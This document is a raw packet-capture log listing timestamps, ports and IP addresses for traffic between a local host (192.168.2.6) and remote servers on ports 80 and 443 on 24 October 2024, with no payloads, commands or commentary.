Oct 24, 2024 09:08:23.404983997 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405230999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405263901 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405286074 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405298948 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405311108 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405353069 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405412912 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405466080 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405499935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405515909 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405531883 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405554056 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405570984 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.405575037 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.405620098 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.444080114 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.444144964 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.444175005 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.444209099 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.444240093 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.444284916 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.478789091 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.478821039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.478837013 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.478852034 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.478854895 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.478904009 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.478904009 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.478909969 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.478991985 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.479090929 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479151964 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479166985 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479209900 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.479209900 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.479342937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479357958 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479372978 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479407072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.479427099 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479430914 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.479443073 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.479490042 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519089937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519108057 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519124031 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519139051 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519149065 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519195080 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519195080 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519207954 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519252062 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519253969 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519267082 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519275904 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519350052 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519575119 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519589901 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519604921 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519625902 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519634962 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519663095 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519681931 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.519978046 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.519993067 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520009041 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520034075 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520035028 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520066977 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520327091 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520342112 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520359039 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520374060 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520380020 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520380020 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520392895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520405054 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520428896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520428896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520612001 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520673037 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520688057 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520723104 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520740986 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520750999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520766020 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520781040 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520798922 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520811081 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520814896 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.520828009 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.520848989 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.560235977 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.560254097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.560269117 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.560354948 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594021082 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594044924 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594060898 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594101906 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594141960 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594150066 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594203949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594217062 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594229937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594254017 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594289064 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594290018 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594446898 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594461918 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594477892 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594506979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594536066 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594595909 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594644070 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594646931 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594660044 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594695091 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594697952 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594713926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.594716072 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594739914 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.594769001 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634457111 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634479046 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634494066 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634541988 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634598970 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634633064 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634638071 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634654999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634671926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634691954 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634718895 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634718895 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634828091 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634891033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.634929895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634943962 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.634984970 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635008097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635021925 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635059118 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635191917 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635205984 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635221004 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635246992 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635278940 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635286093 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635349035 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635548115 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635602951 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635603905 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635618925 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635633945 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635653019 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635683060 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635683060 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635829926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635844946 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635859966 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635878086 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635910034 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635910034 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635916948 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635931015 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635946989 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.635970116 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635993958 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.635993958 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636348963 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636363029 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636378050 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636399984 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636430979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636430979 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636502028 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636527061 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636542082 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.636553049 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636581898 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.636581898 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.674971104 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.675018072 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.675059080 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.675164938 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.675206900 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.675261021 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.709738970 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709798098 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709832907 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709865093 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709898949 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709923983 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.709933043 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709969044 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.709995031 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710005045 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710024118 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710062027 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710131884 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710165024 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710196972 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710199118 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710218906 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710233927 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710242033 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710268021 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.710283041 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.710315943 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.749762058 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749825954 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749854088 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749906063 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749929905 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.749941111 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749963999 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.749974966 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.749982119 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750008106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750040054 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750045061 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750092030 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750092030 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750277042 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750334978 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750408888 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750437975 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750473022 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750495911 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750509977 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750546932 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750564098 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750579119 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750601053 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750612974 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750622988 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750646114 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750664949 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750680923 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750688076 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750710011 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750732899 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750752926 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.750967026 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.750996113 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751027107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751029015 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751049042 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751085997 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751094103 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751127005 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751147985 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751215935 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751231909 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751249075 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751260042 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751296043 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751491070 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751523018 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751547098 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751573086 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751574993 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751607895 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751630068 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751641035 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751648903 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751673937 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751689911 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751708984 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751729965 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751738071 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.751763105 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.751806974 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.776828051 CEST	443	50005	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:23.777038097 CEST	50005	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:23.777977943 CEST	50005	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:23.777992964 CEST	443	50005	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:23.778481960 CEST	443	50005	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:23.779568911 CEST	50005	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:23.779700041 CEST	50005	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:23.779742002 CEST	443	50005	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:23.779804945 CEST	50005	443	192.168.2.6	104.21.53.8
Oct 24, 2024 09:08:23.779813051 CEST	443	50005	104.21.53.8	192.168.2.6
Oct 24, 2024 09:08:23.790457964 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.790493965 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.790529966 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.790529966 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.790555000 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.790563107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.790601969 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.790621996 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825051069 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825087070 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825120926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825153112 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825177908 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825193882 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825243950 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825282097 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825311899 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825362921 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825366020 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825395107 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825417042 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825431108 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825442076 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825475931 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825525999 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825577021 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825579882 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825608015 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825625896 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825663090 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825865030 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825896978 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825917959 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825928926 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.825943947 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.825978994 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865071058 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865134001 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865163088 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865196943 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865210056 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865232944 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865256071 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865277052 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865283012 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865317106 CEST	80	50001	185.215.113.16	192.168.2.6
Oct 24, 2024 09:08:23.865330935 CEST	50001	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:08:23.865350008 CEST	80	50001	185.215.113.16	192.168.2.6
